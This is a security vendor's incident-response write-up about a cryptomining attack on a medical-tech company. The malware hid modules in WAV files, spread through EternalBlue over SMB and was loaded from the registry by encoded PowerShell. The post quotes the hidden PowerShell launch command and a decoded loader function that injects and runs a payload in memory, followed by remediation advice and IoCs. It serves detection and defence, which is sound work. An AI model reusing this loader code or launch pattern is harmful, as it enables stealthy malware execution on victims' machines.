Last month, Guardicore Labs provided incident response to an attack hitting a medium sized company in the medical tech sector. The victim network was infected with a well-obfuscated malware, hiding a Monero cryptominer inside WAV files. The attacker attempted to propagate within the organization by infecting machines running Windows 7 – an operating system soon becoming End-of-Life – and exploiting the infamous EternalBlue vulnerability.

In the following sections, we describe our efforts in several vectors: detection, infection, network propagation and malware analysis. We then share our recommendations for optimizing incident response processes in data centers. Finally, we provide a list of IoCs for the observed attack.


Detection: Blue Screens Raise Suspicion


The first signs of breach appeared on October 14 in the form of BSODs – Blue Screens of Death – on several Windows machines within the victim’s network. A blue screen indicates a kernel-mode error, which in itself is an unusual event. The blue screens drove the company to consult with their MSSP Blue Bastion, an Ideal Integrations company, which joined forces with Guardicore Labs to proceed with the investigation.

Unfortunately, the machines were not configured to save kernel memory dumps, which could have been helpful in forensics analysis and in understanding the root cause of the errors. Nevertheless, we relied on other available resources and attack residues to analyze the flows of infection and post-infection. These included Guardicore Centra platform, registry dumps, forensics images and network service logs.


Infection: Powershell Encoded in Registry


We went on to inspect the machines experiencing blue screens in Guardicore Centra’s visibility maps. One of the machines executed a long command line, accessing suspicious data in the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Shell. We queried the network and found over 800 endpoint machines – more than 50% of the whole network – with the unusual data. The only difference was a random, per-machine GUID subkey under the Shell key.

The long command line was a base-64 encoded Powershell script.

C:\Windows\System32\WindowsPowershell\v1.0\PowerShell.exe -NonInteractive 
-WindowStyle Hidden -EncodeCommand 
JABTAEUAZgA4AGMAYQBXAGoAIAA9ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAG…==

After decoding it, we obtained a readable Powershell script which starts by checking the system architecture (based on pointer size). Then, it reads the value stored in the registry subkey mentioned above and loads the value into memory using the Windows API function WriteProcessMemory. The code – namely, the malware payload – is executed by obtaining and invoking a function pointer delegate.

function Unknown-FunctionThree($ImportTable, $dAau1, $M5hD1rY) {
    $HandlerGetCurrentProcess = $WinFunc::GetCurrentProcess();
    $HandlerVirtualAlloc1 = $WinFunc::VirtualAlloc(0, $ImportTable.Length, 0x00003000, 0x40);
    $HandlerVirtualAlloc2 = $WinFunc::VirtualAlloc(0, $M5hD1rY.Length, 0x00003000, 0x40);
    $WinFunc::WriteProcessMemory($HandlerGetCurrentProcess, $HandlerVirtualAlloc1, $ImportTable, $ImportTable.Length, 0) | Out-Null;
    $WinFunc::WriteProcessMemory($HandlerGetCurrentProcess, $HandlerVirtualAlloc2, $M5hD1rY, $M5hD1rY.Length, 0) | Out-Null;
    $IntOfHandlerVirtualAlloc1PlusdAau1 = [IntPtr]($HandlerVirtualAlloc1.ToInt64()+$dAau1);
    $JjmOV = Get-DelegateType @([IntPtr], [IntPtr]) ([Void]);
    $DFAhyM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IntOfHandlerVirtualAlloc1PlusdAau1, $JjmOV);
    $WinFunc::SetErrorMode(0x8006) | Out-Null;
    $DFAhyM.Invoke($HandlerVirtualAlloc2, $HandlerVirtualAlloc1);
}

The Powershell script is available online (in both encoded and decoded forms) and is titled An Unknown Malware. In other words, it does not appear to be classified.

As part of the remediation efforts, the victim company installed an EDR platform . There, we saw evidence for the loading of the malware; In the process tree of an infected machine, we noticed a Powershell script spawning other processes named cscdll.dll and cscomp.dll. These files are responsible for compiling C# and are executed when C# code is loaded and executed from memory.


The malware loading process. Powershell reads the malicious payload from the registry, then spawns C#-related processes to compile and run the code in memory.

At that point, we recommended the company to block all Powershell execution in the network in order to prevent any further infections.


Network Propagation: Moving Laterally with EternalBlue


A quick look at Guardicore Centra clearly revealed the attacker’s propagation technique. We saw the attacker perform a full subnet scan on port 445, attempting to spread the malicious payloads to additional hosts on the network.


Centra visibility map shows a massive network scan performed by the attacker. The scan originates from an infected host and uses the SMB default port number, 445

With Centra’s breach detection capabilities, we found a couple of incidents in the network where EternalBlue was exploited. This, combined with the SMB port scans, shows that the attacker used the popular, long known vulnerability as their lateral movement strategy. The command line of the propagating process was the Powershell command mentioned above – the one which triggers the binary payload execution.


Guardicore Centra shows the Powershell command line which loads and executes the malicious payload in memory.

Following this discovery, we recommended the company to block all SMB traffic between endpoint machines. The company had labeled endpoint machines in Centra in advance, long before they were breached, making the policy creation and enforcement significantly faster.


Adding a policy rule for blocking SMB traffic between endpoint machines (labeled "Workstation") helped stop the attacker from moving laterally.

Malware Analysis: Monero Miner in a WAV File


Guardicore Labs reverse engineered the malware payload and found a multi-layered executable file. During its runtime, the payload unpacks its modules one after the other, and executes the unpacked code in each iteration.

The malware contains a cryptomining module based on the open-source XMRig CPU miner. It uses the CryptonightR algorithm to mine Monero – a popular privacy coin. In addition, the malware makes use of steganography and hides its malicious modules inside clean-looking WAV files. The technique was recently reported, but this was the first time it was seen as part of a full attack flow.


Strings in the binary payload indicate its use of WAV (RIFF) file headers for steganography

Diving deeper into the different malware parts, we detected a module responsible for network scans and lateral movement. The code implements the infamous EternalBlue exploit and spreads the malware over SMB. This finding strongly supported our hypothesis regarding the attacker’s propagation strategy.


identical offsets in the malware's disassembly and in an EternalBlue implementation in Python.

Facilitating Incident Response


The attack was cleaned by removing the malware, terminating the malicious processes and deleting the registry keys containing the binary payloads. Soon after these steps, all indicators of compromise (blue screens, suspicious network communication, Powershell processes, etc.) ceased to appear.

As the common cliché goes, there are two types of companies: those who have been hacked, and those who don’t yet know they have been hacked. This means that sooner or later, a data center is likely to be attacked and infected with malware. However, incident response can be quite cumbersome; the following recommendations from Guardicore Labs can help facilitate the process of investigation and remediation at those critical moments:

  • Logs
    In order to safeguard logs, organizations should enable log forwarding on Windows and Linux machines to centralized, hardened servers. Microsoft provides guidance for this and Palantir provides many examples and helper programs.
  • Crash Dumps
    Similarly, configuring the system to save complete crash dumps can be helpful in analyzing attacks which cause such process failures. Microsoft provides help for configuring this setting.
  • Don’t touch!
    Last and most importantly, while your immediate instinct may be to clean up infected machines, you should isolate and mitigate, but not destroy valuable evidence from investigation. Consult with professionals in incident response before doing anything.

Have a question? Need to consult with professionals? Contact Guardicore Labs at labs@guardicore.com


IoCs


Registry

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Shell\[random_GUID]

Files
Files in c:\windows\temp or in c:\Users\[user_name]\AppData\Local\Temp\:

File name pattern SHA256
[a-zA-Z\-_]{8}.cmdline 07be8df150c0d23295b342258d1c48139ca14333ffb9683e5efee803435758a6
[a-zA-Z\-_]{8}.cs 139c7d83014fb5903d986f284918fcc3fe60898700f14e3d157e00a9ec2aed20
[a-zA-Z\-_]{8}.dll b1133be4cdc5f04f3533991f004eced54332cd80deb7df4c9c36ca8e180b89d5
[a-zA-Z\-_]{8}.pdb c6f6fea807d303f396bd059cd7c85741dc70efae20521c6c50933ad4c85656c3

Network IoCs

  • Powershell communication over HTTPS port 445